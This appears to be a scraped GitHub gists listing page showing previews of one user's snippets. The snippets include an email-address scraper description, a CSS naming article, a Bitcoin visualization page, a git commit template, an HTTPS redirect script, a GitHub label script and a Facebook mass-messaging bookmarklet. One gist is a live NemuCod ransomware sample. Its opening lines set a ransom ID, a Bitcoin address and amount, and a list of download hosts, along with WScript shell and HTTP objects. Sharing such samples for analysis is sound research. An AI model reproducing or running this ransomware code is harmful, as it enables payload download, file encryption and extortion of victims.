Skip to content

Instantly share code, notes, and snippets.

Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@karmiphuc
karmiphuc / README.md
Created February 8, 2018 02:25 — forked from hernamesbarbara/README.md
fetch any mailto email addresses found on a web page

basic script to extract any email addresses from a website that can be found

usage

get all emails you can find from this page:

http://zombierecords.com/staff

@karmiphuc
karmiphuc / index.md
Created September 25, 2016 05:35 — forked from alekseykulikov/index.md
SUIT CSS naming convention for React.js application

Recently CSS has got a lot of negativity. But I would like to defend it and show, that with good naming convention CSS works pretty well.

My 3 developers team has just developed React.js application with 6561 lines of CSS (and just 5 !important). During one year of development we had 0 issues with CSS. No refactoring typos, no style leaks, no performance problems, possibly, it is the most stable part of our application.

Here are main principles we use to write CSS for modern (IE11+) browsers:

@karmiphuc
karmiphuc / bigbang-v1.html
Last active April 5, 2016 09:49
BitCoin Big Bang: Amazing visualization from Elliptic.co https://www.elliptic.co/bigbang-v1.html
<!doctype html public>
<!--[if lt IE 7]> <html lang="en-us" class="lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]> <html lang="en-us" class="lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]> <html lang="en-us" class="lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang="en-us"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<title>Elliptic - The Bitcoin Big Bang</title>
@karmiphuc
karmiphuc / NemuCod_Ransomware.js
Last active March 26, 2016 20:44
NemuCod Ransomware sample. Write-up by Fortinet https://blog.fortinet.com/post/nemucod-adds-ransomware-routine | WARNING: Don't run it on Windows OS if you don't know what you're doing. I will hold no liability.
var id = "Y5pjzaa6RhR1MczjiSEAbyyWBA8HrE87QcsBpRsmsZqTIV6XNLZvp_WH_IEJw6VNcQsvYCYobXPT6dngUaPwkgn1qxOz8iU";
var ad = "1ErUiHS9tMxWdqeJaaD2bEfJ3V4zCqQc76";
var bc = "0.40943";
var ld = 0;
var cq = String.fromCharCode(34);
var cs = String.fromCharCode(92);
var ll = "angelucci.info globalautomotive.it catteau.francois.perso.neuf.fr 46.249.204.170 kandiramyo.kocaeli.edu.tr".split(" ");
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "981027";
var xo = WScript.CreateObject("MSXML2.XMLHTTP");
@karmiphuc
karmiphuc / .git-commit-template.txt
Created March 11, 2016 05:01 — forked from adeekshith/.git-commit-template.txt
A Git commit template to make it easy to enforce a good and uniform commit message style across teams.
# <type>: (If applied, this commit will...) <subject> (Max 50 char)
# |<---- Using a Maximum Of 50 Characters ---->|
# Explain why this change is being made
# |<---- Try To Limit Each Line to a Maximum Of 72 Characters ---->|
# Provide links or keys to any relevant tickets, articles or other resources
# Example: Github issue #23
@karmiphuc
karmiphuc / ssl-redirect.html
Created February 9, 2016 06:58 — forked from konklone/ssl-redirect.html
Force a quick redirect to HTTPS on Github Pages for your domain (and only your domain)
<script>
var host = "YOURDOMAIN.github.io";
if ((host == window.location.host) && (window.location.protocol != "https:"))
window.location.protocol = "https";
</script>
@karmiphuc
karmiphuc / create_labels.sh
Created January 26, 2016 08:05 — forked from omegahm/create_labels.sh
Create Gtihub labels from Bash
#!/usr/bin/env bash
# Colours picked from https://robinpowered.com/blog/best-practice-system-for-organizing-and-tagging-github-issues/
###
# Label definitions
###
declare -A LABELS
# Platform
@karmiphuc
karmiphuc / bookmarklet_en
Created January 16, 2016 05:47 — forked from FiloSottile/bookmarklet_en
Krumiro, a bookmarklet to send a message to all your FB friends.
javascript:(function(){var msg_m_prompt='Insert the message for males. I\'ll replace %name with the recipient name.';var msg_f_prompt='Insert the message for females. I\'ll replace %name with the recipient name.';var throttle_prompt='Insert the pause in milliseconds between a friend and the next.';var exclude_prompt='Insert the list of friends to ignore, comma separated.';var exerror_alert='%s is not in your friends, you might have made a mistake. Do you want to continue?';var time_alert='The script will take %s seconds!';var done='Done!';if(!Array.prototype.indexOf){Array.prototype.indexOf=function(d){if(void 0===this||null===this)throw new TypeError;var c=Object(this),b=c.length>>>0;if(0===b)return-1;var a=0;0<arguments.length&&(a=Number(arguments[1]),a!==a?a=0:0!==a&&(a!==1/0&&a!==-(1/0))&&(a=(0<a||-1)*Math.floor(Math.abs(a))));if(a>=b)return-1;for(a=0<=a?a:Math.max(b-Math.abs(a),0);a<b;a++)if(a in c&&c[a]===d)return a;return-1};}function size(obj){var s=0,key;for(key in obj){if(obj.hasOwnProperty(key))s++